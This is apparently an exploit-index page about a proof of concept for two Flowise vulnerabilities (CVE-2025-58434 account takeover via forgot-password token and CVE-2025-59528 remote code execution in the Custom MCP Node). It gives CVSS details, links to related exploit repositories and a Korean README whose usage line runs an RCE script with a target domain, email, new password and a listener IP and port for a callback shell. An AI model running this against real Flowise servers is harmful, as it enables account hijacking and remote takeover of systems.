Exploit for CVE-2025-58434_CVE-2025-59528

CVE-2025-58434 CVE-2025-59528

kitploit · 2026-09-02

Description

Flowise <= 3.0.5 account takeover via forgot-password token and RCE in Custom MCP Node.

Affected Flowiseai Flowise versions

Flowiseai Flowise< 3.0.6, 3.0.5

All known vulnerabilities by product

CVSS Score

10.0

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:CHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

Exploit Details

Modified:2026-09-02 22:41

Last Seen:2026-09-03 00:06

Reporter:KitPloit

Tags

Flowiseaccount takeoverforgot-password tokenremote code executionCustom MCP Node

Other exploits for the same CVE

CVE-2025-58434-AND-59528-POC

2026-09-02 KitPloitKITPLOIT

HTB-Silentium-Writeup

2026-09-02 KitPloitKITPLOIT

CVE-2025-59528-Flowise-RCE

2026-09-02 KitPloitKITPLOIT

CVE-2025-58434-poc

2026-09-01 KitPloitKITPLOIT

CVE-2025-59528.yaml

2026-09-01 KitPloitKITPLOIT

CVE-2025-58434-PoC

2026-08-31 KitPloitKITPLOIT

CVE-2025-58434-Flowiseai-Auth-Bypass-PoC

2026-08-31 KitPloitKITPLOIT

CVE-2025-58434-59528

2026-08-31 KitPloitKITPLOIT

Exploit Code

MARKDOWN8 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HONNEY336-CVE-2025-58434_CVE-2025-59528
# CVE-2025-58434_CVE-2025-59528 PoC 스크립트

CVE-2025-58434 Flowise <= 3.0.5 이하에서는 인증되지 않은 비밀번호 찾기 토큰을 통해 계정 탈취가 가능합니다. CVE-2025-59528 flowiseAI Custom MCP Node 원격 코드 실행.

# 사용법:

`python3 RCE.py -d "example.com" -e "some-email@example.com" -np "Password@a123" -lh <IP_addr> -lp <Listening_port>`